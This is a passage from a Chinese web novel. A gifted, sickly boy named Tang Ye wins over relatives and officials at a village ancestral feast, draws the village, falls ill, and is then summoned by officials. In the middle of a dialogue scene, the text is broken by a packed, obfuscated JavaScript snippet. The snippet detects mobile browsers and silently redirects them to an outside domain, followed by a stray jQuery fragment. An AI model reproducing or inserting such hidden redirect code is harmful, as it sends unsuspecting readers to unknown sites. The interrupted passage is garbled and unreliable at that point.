晓燕和其它两个女孩把钱一张张收集叠好,有点瑟缩地伸手递给唐晔。 她觉得非常内疚。不是像晓芬那样怕弟弟会被这户有钱人家打骂;而是,出于有远房亲戚过来玩,而她作为这小群体最大的孩子,却没带领好同村的弟弟妹妹们好好招呼客人。 唐晔观察了晓燕一小会儿,确认过她眼里的瑟缩不是因为所谓的“身份有别”后,他笑着说:“晓燕堂姐,帮我把这些钱分一分给大家吧。” “什么?” “我们这条村的孩子以前都是同一个祖宗,喊你一声堂姐也不过份吧。”他笑笑说。 话倒也没错,但,“你让我把你的祭祖红包……分了?” “刚才我哥哥不是过来,给你们带了零食么。我今天起床晚了,第一次来也不懂规矩,没来得及给大家准备东西,这些钱算是请大家吃零食吧。——暑假时要是有机会再来玩,再给大家准备一大堆好吃好玩的,好不?” “……你说真的?”晓燕迟疑着。 “嗯,反正羊城过来也不远,开车两小时不到。” “我是说,真的可以分了这些钱?不少呢!” 唐晔笑了,“堂姐你都知道我爷爷能赚钱,所以平时在家里我也不缺零花钱呀。没事,分了吧。”他皱着鼻子向后避开,一直觉得拿现金挺脏的,特别是这还有些被泥水沾湿的。 “你该不会嫌这些钱脏,所以不要了?”晓燕看着他躲避着这叠现金的动作,恍然大悟。 “对!快拿走。”唐晔也坦白了。 “还有嫌钱脏的,真是土豪!”大家笑道。 两个小学生男孩正是渴望零花钱的年龄,现在爸妈又不在身边、拿到钱可以偷偷藏着花,早就按耐不住了,叫道,“燕姐,三少爷都这么说了,快分!” “叫我小晔哥哥!”唐晔故意对他们板起脸,“还叫少爷的,没钱分!” 大家都笑了。 晓芬的脊背放松下来。“你真的不会打我弟弟?” 唐晔笑道,“怎么会?!……我更羡慕他,有个你这么好的姐姐呢!” 七八个孩子快速地分完,每个人揣好怀里一小叠百元大钞,脸上就更乐呵了。一群孩子高兴地拖着唐晔在附近逛着,更热情地给他介绍村里的有趣的事儿。唐晔暗暗感叹,快乐可以这么简单。 18. 第 18 章 这时两个妇女跑了过来,叫道,“在这儿呢!” 原来,午宴准备开席了。他们家就差唐晔一个。大家让他赶紧过去。 村里的一些小路上的石板不太平整,没跑几步,缺乏运动的唐晔差点没摔倒,几个大小孩子们边嘲笑他、边拽着他的袖子、衣角,美其名曰帮他跑快些,把他带到祠堂前的广场上。 那块平整的广场上,几十桌露天宴席里已经几乎坐满了。 这几十年来,唐万里也在不断支援自家村里的建设,捐钱捐物也有,修路啊设厂,这投资那引资源的,反正一句话,要钱就找唐万里——这当然对于在地产界号称占领了半壁江山的万里唐氏来说芝麻绿豆而已;很多村民也在唐氏集团所属的大小工作岗位上获得劳动所得。所以,唐万里在村里,辈份虽然不算高,但大家都以他为尊。 在高了两级台阶的祠堂的正前方,摆着一张最大的圆桌,不像其它桌上铺的一次性塑料桌布,它上面铺着估计是全村里最漂亮的红色绒布。 这一桌宴席的正中央坐北向南,一位干瘦老者已坐稳当。他是村里辈份最高、年龄最大、甚至唐万里也得称他一声叔公的人。 这位叔祖的左边,是自家爷爷唐万里,唐万里左边依次是:市府秘书长何瑶,与万里同辈但50岁不到的村长,中大物理学院院长何西,在唐氏总部任职的大姐姐唐笑,唐万里多年的老助理方源。 叔祖右边,以贵客何耀祖为首,唐山海、市图书馆馆长何东、归秀兰,唐天坐在妈妈身边,他早也把自己右手边的空位留好给弟弟。 唐晔被大小朋友们一路嘻嘻哈哈拖着跑过来,众人看到他时,像与人在泥巴里摔完跤一样衣冠不整,头发凌乱。 他的保姆陈姨都快哭出来,怕太太又因此对他恶语相向,连忙上前给他整理头发擦脸擦手,一边小声问:“我的小祖宗啊你去哪了,怎么把自己搞得脏兮兮的,快洗手吃饭了!” 尖嘴猴腮的吴姨立即尖叫了起来:“三少爷的衣服怎么弄得那么脏!陈家的,你是怎么照顾的呀?!” 归秀兰给吴姨使了个眼色,吴姨就更来劲儿了:“三少爷,在众人面前衣衫不整,像什么话!懂不懂规矩!别说太太没教过你!滚下去把自己收拾妥当!” 唐晔低头,看着自己的保姆徒劳地用湿巾擦了又擦。泥水的污渍渗进短绒里,哪是那么容易弄得干净。他皱了皱眉,伸手快速地把扣子解开,还没等陈姨问他干什么时就快速把厚外套脱了,塞在陈姨手里,挺起背走上台阶。 二月份的天气乍暖还寒,只穿了件白色衬衣与黑色高领内衣的瘦削少年站在寒风中,嘴唇紧紧抿在一起。陈姨在台阶下急得大喊:“三少爷,你不要命了啊?!”一边冲上来想把厚外套给他披上,唐天也站了起来想抱住他肩膀。 他轻轻推开两人,对归秀兰低头说:“古人云,衣冠不正,则宾者不肃;进退无仪,则政令不行。妈妈教过,衣衫不整地跑到长辈群众面前,是不懂自爱、不敬长者,刚才是我错了。那,我现在可以坐下了吗?” 何耀祖侧头看了看唐万里。刚才说到这么看重这孩子,现在看他冷成这样,毫无表示? 桌上众目睽睽。旁边的方源小声劝解:“三少爷,天气冷,别跟太太赌气了。” 陈姨慌忙在随身挎包里翻找出另一件衣服,说:“这是备了热起来时给少爷换的薄外套,这件干净……” 归秀兰“哼”了一声,不再看他们。 唐天劈手抢了过来,“废话真多,我看你就快不行了!”一边把这件薄棉外套抖开赶紧让弟弟穿上。 唐晔坐下后还是觉得很冷,只好两手紧握着装满热茶的玻璃杯取暖,唐天想握着他的手,他瞄了瞄归秀兰恶毒的眼神,又轻轻把哥哥的手推开。坐他附近不远的几个何家的人眼看着杯里的水随着少年纤瘦的手腕微微颤抖,却是别人家事,不好开口说什么。 陈姨站在他身后用湿巾反复擦拭原来的厚外套,想尽量给他把衣服弄干净让他穿回去。忽然,她在衣服上捏了又捏,弯腰小声的问:“三少爷,刚才那封祭祖红包呢?您放哪了?没弄丢吧?” 少年身上的其他衣物都很薄,看着不像能藏得到刚才那个厚重大红包的样子。 吴姨又逮到什么新鲜话题似的,站在归秀兰身后、隔着两个位置也竖起耳朵听着。 唐晔小声地回答自己保姆:“回去再跟你说。” 这时候吴姨又来事儿了,尖声地说:“陈家的你怎么照顾的少爷,刚才非但把少爷弄丢了,还让少爷把祭祖红包弄丢了!”这一声怪叫连下面好几桌都惊动了。 这时,把唐晔带过来、还没走回父母身边的几个孩子惊慌了。虽然大家从小都被祖辈教导,祭祖红包很重要,说是祖宗赏赐给子孙保一年平安的,要放好一直留到年底。但毕竟还是孩子,没把它看得有多重,很多人缺零花钱时都偷偷打开拿来用。 其中为首的晓燕走上前来,吞吞吐吐地说:“对不起,刚才是我们的错,我们见三少爷和和气气没有架子,就玩得过份了。少爷身上的红包,是我们拿了……” 吴姨站在阶梯边缘,居高临下指着那女孩的鼻子叫道:“你们这些个什么乡巴佬,好大的胆子!竟然敢抢唐家少爷的东西?” 这是在一个人人平等、只是一部分人先富起来的社会主义国家,又是在唐万里自己的家乡,一个保姆当众这样说话,也真是把自己的雇主高高架起放火上烤啊! 那晓燕估计也不太见过这些个京城来的高官那些个省城里的大官,这么些济济一堂的大人物,面前这婆娘又凶,又觉得自己的确做了错事,腿一软竟然吓得向他们这桌跪了下来。 几十张桌子的宴席,竟然不用指挥全安静下来,很多人站起来翘首关注着主桌这边的一举一动。 唐晔的鼻子抽动了两下,倏地站起来回身下了台阶到晓燕身边,轻声严肃地说了句“起来”,一手托着她的上臂把她架起来站好。 他转身回到主桌前,站定,对坐在首位的几人,躬身敬了个礼,笑得天真:“叔祖、爷爷,刚才那个大红包,是我自己分给别的小朋友的,不是他们拿走的。今天我才第一次随爷爷回家乡祭祖,并不了解这个红包的重要性,辜负了叔祖、爷爷和同族各长辈的心意和祝福,非常抱歉!下年再拿到这个红包,我一定带回家好好供奉起来,天天膜拜。” 大家都为这个孩子有点稚气的回答逗笑了。 老叔祖说:“万里啊,你这孙子当真是可爱。不过小晔,你知道这个红包,代表这一年我们唐家老祖先给自己的儿孙辈赐福、保平安的!不可随意拆开或给人!” 唐晔对着席上长辈微笑一下,正色朗声答道:“叔祖在上:我记得爷爷自几十年前,一直为村里捐钱捐物、筑路设厂,扶持村里的产业和人员。小时候我曾问爷爷为什么要这样做?爷爷以《孟子》一则教之——独乐乐,与人乐乐,孰乐?不若与人。 我们唐家先祖有福气,惠及爷爷,爷爷把这福气分享给同族弟兄,广开门路,实现共同富裕。爷爷以诚待族人,族人回之以敬。 今日晚辈初至,本是陌生胆怯,族里各兄弟姐妹们却以爱护之,血缘亲近之情由然而生。刚才获得祖宗赐予的福气红包,便自愿与同族兄弟姐妹分享这福气,是为上感祖荫,下承家训。愿先祖护佑我们全村全族小朋友们,身体健康,学业有成。” 他话音一落,全场静默。紧接着,坐在斜对面的村长率先拍起手掌,高声说:“说得好!说得好!让我们感谢祖宗赐福!感谢万里老哥哥!也感谢何老部长莅临指导!来,举杯!让我们祝愿全村来年风调雨顺!各位身体健康!长辈长命百岁!小孩快高长大!做生意的一本万利,做官的平步青云!大人们事事顺意!学生仔学习进步!举杯,饮胜!” 大家都站起来,举杯痛饮!气氛热烈。 唐晔也拿起自己的杯子,抿了一口热茶。他坐下抬头刚好捕捉到唐天着急的神色:“小晔,你别不当一回事!要是没了这红包,祖宗不保你平安了怎么办!” 唐晔看着他,狡黠地笑了,轻声说,“哪有这么多满天神佛,你书白念啦?这些话就哄哄老人家,你还当真!” “这叫宁可信其有,不可信其无。我担心你!” “知道啦,你这是关心则乱。那这样好不好,你把你的大红包放我们家大厅供着,不是能保护我俩了吗?”唐晔含笑看着哥哥。 唐天说:“好!”又补充到:“祖宗要是不保护你,我保护你。” “嗯,好!” 吴姨又尖着嗓子提醒:“太太您可要提醒二少爷藏好自己的红包,别随便给人骗了去。” 虽说是从小带大自己的保姆,但今天一而再再而三嚼舌根,唐天正想发飙,唐晔按了按他的手。 唐晔放下碗筷,对名义上的母亲说,“妈妈刚才谈礼仪修养,其中包括一则‘严以律己,宽以待人‘。雇主在吃饭,一个保姆竟在旁边不断插嘴、而妈妈毫不斥责。我们都应该学学妈妈的宽容呢。” 归秀兰没给好脸色给老吴,小声啐了她让她赶紧下去。毕竟吴姨刚才这样骂那女孩,相当于作死给全村人看,到现在还半点好处没捞着还让这私生子在众人面前长了脸,她早已一把火烧心了。 她有点忿闷地对唐晔说,“你是该好好想想自己要学什么了,读了一年书啥也没学到,就学到牙尖嘴利,出去别说爸妈没教好你。” 坐她对面的何西不忍再看这个孩子孤军奋战了,半开玩笑说:“才上了半年初中,就以初一新生的身份拿了全国竞赛一等奖,平时考试也样样满分,这要是算什么都没学到,那我家孩子就差不多得面壁思过了。” 唐晔抬头有点惊讶地看了何西一眼,随即向他投去一个感激的目光。虽然对于他,归秀兰说的话就给他挠个痒,但他心中还是一动:何嘉南一直让他很安心,现在他的父亲也在保护自己。 归秀兰脑子一冲,不知怎么说出一句:“怎么知道有没什么黑幕让他们提前透了题……” 这话可说得重了,还是当着教科文的前任老部长说的,连见多识广的方源一下子都找不到话头找补。唐万里不由得喝道:“吃饭!” 唐天对唐晔咬着耳朵说:“和他们在一起没意思,等下吃完饭,我带你去后山爬到山顶玩吧,我去年来过,记得路。上面风景可好了。” 唐晔含笑应和着“好。” 众人吃罢饭,敬酒的敬酒,聊天的聊天,碰杯的、划拳的、起哄的。场面依然热闹无比。 两个男孩悄悄消失在众人视线里。 闹腾到下午两三点,全村人欢乐的气氛才慢慢收拢,妯娌们拿着大塑料盆,一桌一桌收拾东西。唐何两家也准备收拾一下回羊城去,这时大家却突然发现两个男孩不见人影了。 归秀兰又忍不住小声骂道,“那死孩子,把我们小天不知道拐哪去了!” 唐笑一边打着手机一边说,“妈妈,小天来玩过几次,小晔还是第一次来呢,他怎么懂得路。奇怪,他们手机都打不通。” “手机打不通,有可能是去后山顶了。”唐晓燕从刚才就逗留在他们附近,一方面是在帮妈妈伯母姑姐们收拾东西,一方面还是想跟唐晔表达歉意。 “哦,后山,很有可能。他们没出村的话,就那地方手机没信号了。”村长补充。 唐万里忆起儿时也在后山与兄弟们的玩耍,不由对何耀祖说:“老哥哥,我们也上山走走?” 两位退役军人出身的老头子虽都身居高位、平时养尊处优,身体都硬朗得很。现在都不遑多让,俩人较起劲儿,在山路上大步大步往上走。 在这冬日的午后,一行人行走了约莫十来分钟的光景。虽然尚未见到那两个不告而别的顽皮孩子的身影,但众人的心却早已被这天高云淡的冬日景象给轻轻松解。那天空湛蓝如洗,几朵洁白的云朵,宛如悠游在天际的羊群,悠闲自在。冬日的阳光洒在身上,暖暖的,让人不由得心生欢喜。 唐家村坐落在山水之间。村前,一条宽阔的大江蜿蜒流过,江水清澈见底,波光粼粼。西江水仿佛是村子的守护神,日夜守护着这片土地,让这里的人们安居乐业。村后,一座坚实的大山巍峨耸立,山势雄浑,给人一种安稳踏实的感觉。而那中间的山坳,平整而肥沃,百来户人家错落有致地分布其中,炊烟袅袅,鸡犬相闻,一派宁静祥和的景象。 再走没几分钟,听到一段童声放声歌唱,声音清亮而悠远。 “是小天!”归秀兰不由得开心叫道。大家加快脚步往山顶走去。 转过最后的一个弯来到山顶的小平地,只见两个男孩的身影出现在那块高高突起的大石头上。 唐天站得高而挺拔,他没穿长风衣,及腰的浅色毛衣在阳光下反射着炫彩的光泽。他高昂着头颅,迎着山巅的朔风,放声吟唱着那没有歌词的旋律。歌声如天籁之音,回荡在山谷之间让人心旷神怡。 唐晔屈膝、微微佝偻着上身,坐在唐天脚边不远,拿着笔正对着垫在膝盖上的平板快速画着什么,眼神专注而坚定。他身上披着唐天的黑色长风衣,衣尾在山顶的大风中猎猎飘扬,如同黑色的旗帜。领口的钮扣扣到最顶端,几乎半张脸都被藏了起来。 “小天,快下来,危险!”归秀兰大声朝他们喊道。两个男孩转过头,看着乌泱泱上来的十几个人。 唐天叹了一口气:“你们上来干嘛?今天都闹一整天了!我们想自己玩玩!” “你自己怎么跑到那么远,又不告诉妈妈?吓死我了!” “谁说我自己来的!小晔不是第一次来村里么,我带他来看看这个地方。” 他一边从差不多一人高的大石头上矫健地往下一跳,微微屈膝就稳当当站住脚,一边说:“没意思!小晔,走了!” 唐晔把ipad和笔放下搁到石头边缘,跪起身来朝刚才唐天跳下去的地方看了一眼,眼神瑟缩了一下。 “快点,跳下来,哥接着你!” “不要。”唐晔转身朝石头另一边手脚并用爬过去。 “刚才爬上来就爬了半天,现在直接往下跳不就行了!”唐天一边吐槽着一边也绕到石头后面。 只见这个看起来不怎么喜欢运动的男孩,屁股坐在石头边缘,伸出两条长长的腿往下探,有点笨拙地踩住一块突起的石头,当他踩着石头往下挪屁股时,长风衣却被突起的尖石头挂了一下,他立即失去重心,脚下也刚好一滑,整个人完全失控往下掉! 人群中有人不由得叫了起来:“当心!” 这时唐天已经张开双臂宠溺地搂紧了笨拙得像只树懒的弟弟,一边嘲笑道“笨死了你,白长得那么高!”一边又帮他揉着手肘:“没磕到吧?” 唐晔摇了摇头,见众人都看着他,不好意思地往唐天身后躲了躲。 归秀兰看着唐晔穿着唐天的外套就浑身不爽。故意问唐天:“小天,你不穿外套,冷病了谁负责!刚才又迎着大风大声喊叫……” 唐天笑着对妈妈说:“没事,我才没那么脆弱。” 此时,却是唐万里生气地吼到:“小晔,把这件外套脱掉!” 唐天为弟弟辩解说:“爷爷,您就不怕小晔冷病了?” 唐万里冷笑一声,严厉地声称:“你知道黑色意味着什么!我不允许他穿这样的衣服!” 唐天正要开口,唐晔已经脱下外套还给他,并低头对唐万里致歉:“对不起,爷爷,晔儿疏忽了。” 唐天则高呼道:“这都什么屁事……” 归秀兰拉着儿子小声说:“你也是,这大过年的,穿什么黑色外套,把爷爷惹不高兴了,回头妈妈也给你买过别的。” 唐天不爽地叫着:“妈你懂啥,现在都流行这个,酷!就一件衣服,还能想这么多!”说着,又搂着弟弟的肩膀。 何老倒是来了兴致,打断唐天说:“这娃儿唱歌不错啊,声音条件也好,旋律也动听。” 唐天扬起脸,大方笑着说,“刚灵感一来随口所作。谢谢何爷爷表扬!” 归秀兰补充到:“小天从小声音就好听,他也爱唱歌,小时候就叽叽喳喳的自哼自唱,大一点倒也越唱越像样了,还会自己作了曲子自弹自唱,他会弹钢琴,还在家里招呼小朋友们过来看他的演唱会呢!” 她还继续说,“去年初,电子藏品博物馆开馆时,其中有一个展品是收录全省最美声音的,其中童声的男童部分就是他的声音。” 何老笑笑,伸出大拇指。 唐天只回头问弟弟,“小晔,刚才那一段你觉得怎样?” 唐晔由衷赞美道:“哥哥看山是山,看水是水,心灵纯洁,嗓音清澈。刚才的旋律更是随性自由,犹如夜莺的婉转悠扬。” 唐天得意一笑:“那你也把刚才画的画给我看看。”便伸手直接抢过他刚从石头上拿下来的平板。 “好。”他任由哥哥放肆的动作。 “这是什么?”唐天打开,有点奇怪地问道:“这是我们所在的山,这是西江,江里的这些直线和点点是啥?” 大家被唐天的问话吸引,先看了看西江上面有什么——这时江面上什么都没有。大家的目光都聚集到他的画面上。 只见画面中是一幅像是宋代画家王希孟的长条山水画——左边是他们所在的山顶,从左下一直延伸到右上无限远处的的,是西江的图景,江面上还有些短短的横线。画面中间的山坳里,错落有致地画着一些房屋。 画山,笔锋苍劲;水,柔中带刚,而错落的房屋又透着一点童真。 “这是我们村吗?但好像又有那一点点不太像。”唐晓燕也担心那两位小帅哥少爷,从刚才便也紧跟在村长和众人身后一起寻找。 唐晔见是她,微笑答到:“嗯,写意。……就是,不是完全照着真实情形画。”他放大给众人看——画面随着他两只手指向外展开,显现更丰富的细节——原来江面上的,是端午划龙船、百舸争流的景象。再放大些,一艘艘长长的龙舟上,有十几位形态各异的青年在奋力拼搏,有些露出大半个肌肉结实的臂膀,有些像是在大声呐喊,打鼓的人一手高高挥起棒锤,一手正击在鼓面上,那声音都仿佛透出画面能被看画的人听到一样。 再把画面中间山坳的村里的图景放大,晓燕就更认得了:“这是刚才二伯家的猪栏,他喂完猪正在换鞋子过来赴宴,这是晓慧家,门口有个井,啊,这不是村厨的家吗?刚才我们就是在里面帮手呢!哈哈,这居然有点像我们几人!还有,这不就是祖庙门口么。” 这一块儿炊烟袅袅,那一块儿人们热闹腾腾,好一幅繁华景象! 她很兴奋地问道:“小晔堂弟,这是你刚刚画的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942752|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐晔微笑答道:“之前听爷爷说过,每年龙舟节时,村里更热闹。原来想象不到会有这么多人、这么热闹的场景,现在来到这儿,倒是有了画面。” “那过半年你们再来玩,就能看到啦!”晓燕向两位帅帅的小少爷发出邀请,两人也含笑答应。 唐晔这还未着色的电子画儿,远看是冷情山无量水,近看却是细腻琐碎的人间烟火。何老心里赞叹这孩子真是有点儿意思。 唐笑含着笑向大家说道:“三弟擅丹青。祖父一向很喜欢三弟的画,万里地产多个楼盘,门口的装饰画正是三弟几年前所作呢!” 唐晔马上低头收敛眉:“沽了唐家之名而已。” 唐万里对于收藏古董有那么一手,众人也信得过他的目光,想不到他一个能称为行家的人,竟这么看得起这年幼小孙子的作品。这么说来这孩子在他心里份量不轻。 大家都是人精,一边顺着意思赞不绝口,一边却惊讶于唐家大小姐竟为了个非亲生的弟弟,敢和自己手握大权的母亲叫板? 何东对字画一向颇有研究,眼前这位十三岁的少年在平板上写写画画就有此佳作,让他惊喜不已。但看着唐山海与归秀兰的脸色嘛,他简单说:“画得不错。师承何人?” 唐晔回答也简洁:“未曾。”这就更让人惊讶了,只靠临摹就能达到如此水平? “假以时日,必成大器!”何东忍不住再说一句。 唐晔低眉表示谢意,并未再回应。 “你这几个孩子,可真是文武双全啊!”何老拍着唐万里肩膀,一起领着众人下山了。 “我说,那私生仔还真有点儿东西。”午饭吃得饱足,又走了一小段山路,下午回程时,车在平稳的高速路上行驶着,让何耀祖昏昏欲睡,冷不丁坐他身边的何瑶又开口了,“出口成章,处事利落,除了读书厉害,国画也画得好。说是私生子,比归秀兰重点培养的长子看起来还更像一回事。” 何耀祖看她一口一个私生子,有点不悦,眯着眼睛并不答话。 爱坐前排司机旁边的何东觉得,当时穿着单薄白衬衣的唐晔,举手投足间的淡定,还有之后看他的画作里的神韵,竟让人觉得他有种魏晋士族大家的风采。“嗯,所谓的三代人才能培养出一个贵族,这小朋友是有那么一点豪门该有的样子。”他表示赞同。 “据我儿子说的这孩子那可是天上有地上无。上次来我家,我看的那些全英文的专业文献也能读懂,说他电脑编程也是,期末考试是做一个什么图?别人搞了一节课,他只用了几行代码。哦,上次我儿子生日他来玩,当场给我电脑里写了个在英文论文里提取词频并引用原句还能上网比对的智能程序出来。别说当时在场的其他小同学们,我看那些大学生也没多少个搞得出来。关键是还写得快,就像顺手拈来似的。哎,别说他们家本就有资本,他自己以后要是光搞软件开发就前途无量了。”儿子的好友唐晔被人喜欢,何西竟然也有种属于老父亲的欣慰与感慨,不知不觉话就多起来。 “人比人比死人啊,也不怪归秀兰心急,虽然她那宝贝儿子也算出色……”何瑶正准备往下说,突然他们看到前面唐家的车队里有台豪车、有台面包车双双变了道,打了双闪停在紧急停车带。 他们的商务车随着唐家的其他车子,开到了前面第一个高速休息站去。 车一停好,前排的何东就急忙问站在路边刚打完电话的唐家老秘书方源,你们怎么了? 方源说,“何馆长,我们要等一下少爷那台车,现在想看看要不要派一台车把何老先送回去。” 何耀祖钻进唐万里的车里和他小声说了几句话,唐万里抿着嘴摆着手让他别说了。 站在车另一旁的唐笑向何家几位解释道,“三弟一直身体不太好,可能今天吹到风,刚才又突然发病呼吸困难,情况据说比平时严重。现在我们等等看是不是要把他直接送去医院。” 快二十分钟,当两兄弟的车子开过来、大家纷纷开门出来查看时,唐晔已经吸过缓解的药物,但仍大口喘着气、脸色潮红。他靠在唐天怀里,眉头紧锁。 唐天许是真的担心这一转身离开村子、祖宗就不保佑弟弟了,他右手轻拍着弟弟的背,而左手臂给弟弟当枕头的同时,左手一直握着那个大红包贴在弟弟的怀里。 归秀兰暗骂自己的儿子蠢,“小天,快拿好自己的东西!” 唐万里忍不住喊道,“闭嘴!” 他看向今天一而再再而三下他面子的蠢媳妇:“秀兰,我和你爹都没读过多少书,但早年创业时,大家都认准一句话,兄弟齐心,其利断金,才打下了我们这样的江山!才能有你和山海两人的富贵生活!这有血缘关系的两孩子相比我和你爹,更是亲上加亲,以后无论他们坐哪个位置,都是上阵亲兄弟!难道非得让他们兄弟反目?搞到唐家四分五裂?再者,幼吾幼,以及人之幼。你还真想这一个死了才甘心?” 他不再理会归秀兰,对众人说,“老哥,万分抱歉,我现在没心情聊这事。老方把我何老哥送回去好好招待着。笑笑和小天,两姐弟也一起回大宅!” 转身指着唐山海:“你们两公婆别来了!回家好好整顿一下身边的人!都回去反省!他们身边的都不许跟来,我有的是人照顾他们!” 回到商务车,何瑶似乎又憋不住一颗八卦的心:“哎,可惜了,八成是年纪太大才生的,那孩子看着就先天不足……” 何耀祖脾气再好,也不由低声喝道:“别说了!那孩子就是他孙子,如假包换!别乱嚼,坏我何家名声。” 何东叹道:“不论这孩子是谁,生存环境还真残酷啊!以前我们曾感叹说曹植七步成诗什么什么的,今天看他一个十二三岁的孩子,引经据典给自己辩驳,在夹缝中仰人鼻息,突然觉得有点心酸,这得多严酷的环境下长大,才能被逼得这么条理清晰出口成章啊。” “堂叔,话说,混血儿也没什么特别奇怪嘛。怎么您看起来这么在意?”趁何瑶转而在打电话布置工作,坐最后排的何西小声在何老另一侧耳边小声问道。 “因为,他混的,不是一般人的血。” “谁的?堂叔知道?”何西半开玩笑。 何耀祖故作高深地“嗯哼”笑了一声,拿出手机,在浏览器里慢慢输入几个不常用的字。 随着新闻内容与图片刷出,他偷偷递给何西看,还小声嘱咐:“谁也别说,包括你哥。” 何西刚开始还心里笑道,什么呀,这么神秘。随着他看清文字与图片,他呆了一会,才敛住情绪轻声说:“不会吧?!” “不像吗?” “像是有点儿像,不过,这太难以相信了,八杆子打不到一起。” “嗯哼,今天我问唐万里时,看唐老弟的反应,十成九!” 何老又说,“哎,不过这事儿呀,这还牵涉到以前的一宗案子哩……”说到这,他却自己捂住自己的老嘴,不再往下说。 “对了何西,你刚才说,那孩子玩儿电脑编程很厉害?” 何西敏锐地感觉到堂叔这句话看似聊天,不过嘛,他退了一步说,“我就看他用了几十行代码写了个小程序,挺简单的,其它主要都是我家小子说的,我回去问问到时候仔细告诉您。” 何老明显对这答案不满意,但也发现这个堂侄与众不同,按理说自己刚给他爆了个大料,他理应感激涕零,知无不言、言无不尽才对。但他却像想保护些什么而瞒着自己一样,并不因为想追捧自己就乱吹乱擂。他暗暗点了点头:发现了个能人。 三姐弟随爷爷回到云山大宅,把尚虚弱的唐晔安置好,已是晚上,下弦月明。 唐天想起,有一年的春节,很多亲朋好友来向祖父拜年,也带上了他们的儿孙。 那一次,爷爷家特别热闹,他带着他们在爷爷家到处探险,把后院当成恶龙的城堡,把鱼池里的鱼当成海怪,杀个片甲不留。 直到那个晚上,那个怪小孩才从爷爷从未允许自己踏进过的书房里,瑟缩走出来。当他回到日常所住的晴园时,他哭了。 他哭了,我就乐了。 谁让自己一天都找不到他,没了快乐的来源。哼! 祖父与方伯伯走进晴园时,那一瞬间自己多么紧张,怕那怪小孩向祖父告自己的状,那我只好躲在妈妈身后。 因为祖父总不会苛责我妈妈。我妈妈一定会保护我的。 一天过去了,两天,三天……过完春年,马上要回市区了。 我不由得又去后园看一下那个怪人。 躲在墙角看到那个小孩又站在那棵巨大的金桂树下,对着一个树洞絮絮叨叨,好像还在笑,真是怪人! 什么?公主?王子?华丽坚固的城堡?他在做梦吗?太可笑了! 不过,他长得这么漂亮,天生就是个王子。 …… 树洞,你知道吗,我是最让人喜欢的小王子哦! 我的妈妈,她可是世界上最美丽的公主。 在遥远的北方大陆,有一座世界上最坚固、最华丽的城堡。 那座城堡就像个巨大的儿童乐园,充满欢笑。 有一天,她会驾着最华丽的马车,微笑着叫我宝贝,把我接走。 …… 当那个怪孩子转过身时,一刹那,却如片片飘零的白色花瓣,散落在风中。 19. 第 19 章 “啊!吓死了!” 许是这次回来不是住在以前与父母同住的前院,而是与大姐和小晔一起住在晴园里。半夜,唐天做了一个梦,梦里人声吵杂,还以为是爷爷要来抓我给那些鱼偿命呢! 自己把自己吓醒。他一睁眼,天已微微亮起。 他从床上一骨碌跳起来,穿上外套就跑向小晔的套间。 有仆妇拦下他:“三少爷昨夜再次发病,情况不太好,直到刚才才稍缓过来……” “啊!昨晚怎么不叫醒我?!……我就静静看看他。”唐天把脚步放得轻轻的。 弟弟在床上静静躺着,眉头却紧皱,长长的睫毛轻轻颤动,双手却像努力抓住过什么似的,直直搭在被子上。 他要抓住谁的手?不要走!留下来,不要离开我! 一个充满科技感未来感的大办公室。 “长官,您让我监控的某个服务器,在这几个月内频繁有数据交换。” “知道了,继续盯着它。” “打!”下属简洁短促地回答着。 2015年寒假过完,第二学期刚开学不久,大家都还没从寒假的懒散中回过神呢,就算大天才也不例外,上课时,发呆到连获奖后就爱他爱的不行的物理老师,都恨铁不成钢地点了他的名字。 一个周五下午,当唐晔被一台黑色的车子客气地“请”进这个外面没有标志的疗养院时,心里还是一片迷糊。 穿过一片雅致的花园进到一座小洋楼,双开门打开,首先映入眼帘的是一张大红木圆桌。 桌旁坐着或站着几个人。几乎都是熟人。 他首先向三位坐在圆桌边最为熟悉的老人那位走过去,轻声说着:“爷爷,您找我,怎么不直接叫我回大宅?” 唐万里避开与他对视,指指最靠进门口的那张椅子:“小晔,不是爷爷找你。你先坐下,何爷爷和张爷爷有话问你。” 坐中间、正对着进门处的,是之前有两面之缘的何耀祖。上次在物理联赛中见过的黑框眼镜的评委,何粤,现在表情严肃地立在何耀祖身后。 那不用说,右边座椅上的这位,看着比自己爷爷年轻了近十岁的、就是防务部门某部退休人员,张恩国。虽然他穿着便装,但身体板正,一看就知道是长期严格训练的结果。他后面站着那位虽已不年轻但同样身姿挺拔的女士,无疑就是张恩国的女儿、张宇的母亲——张少梅官员了。 见唐晔站定在爷爷身边没有动,唐笑从爷爷身后走出来:“小晔,先坐下来,先听听各位爷爷们说什么。”她搂着三弟的肩膀把他带到何耀祖正对面的那张空椅子上,轻轻拍拍他肩膀让他坐下。 唐晔垂首坐下。再抬头看向何耀祖时,眼神里已经带上玩世不恭的意味。 何耀祖前倾身体,试图以最温和的语气说话:“唐晔同学,很久不见。”已经见过这少年两次,但每次都给他带来不同印象。 “也没多久,就一个月而已。”唐晔说得漫不经心,他偏头看着老人的左手。老人家左手的几个手指不经意地捻了一下,何粤的眼神也被它吸引了过去,然后,与唐晔的带着讥讽的眼神撞到一起,何粤赶紧闪躲开来。 “你记得很清楚嘛……咳嗽好点没?” “死不了,不用在意。何爷爷,您这样儿的大人物时间珍贵,就别浪费在我身上了。有什么事就请您直说吧。” 何耀祖在迟疑。这事对于一个十三岁孩子,未免太天方夜谭,他真的做得到吗?不过想想唐晚星当时的年龄和能力,他的儿子是天才也不奇怪。 唐晔见他停住,反而笑笑:“让我猜猜,作为教科文前部长的您,该不会是来恭喜我前几天月考又得了年级第一的吧?那就太客气了。” “放肆!”张恩国声如洪钟。他怎么看这小孩都不顺眼,头发又长、又高又瘦还微微驼背,一点精神气儿都没有,刚才就想一脚踹他背上让他站直了。他停了一下,转向唐万里,“老哥,你家这娃怎么回事!”总算他还记起打狗还得看看主人面。 “小晔,乖一点。”唐万里看向唐晔的眼神,居然有种乞求的味道。 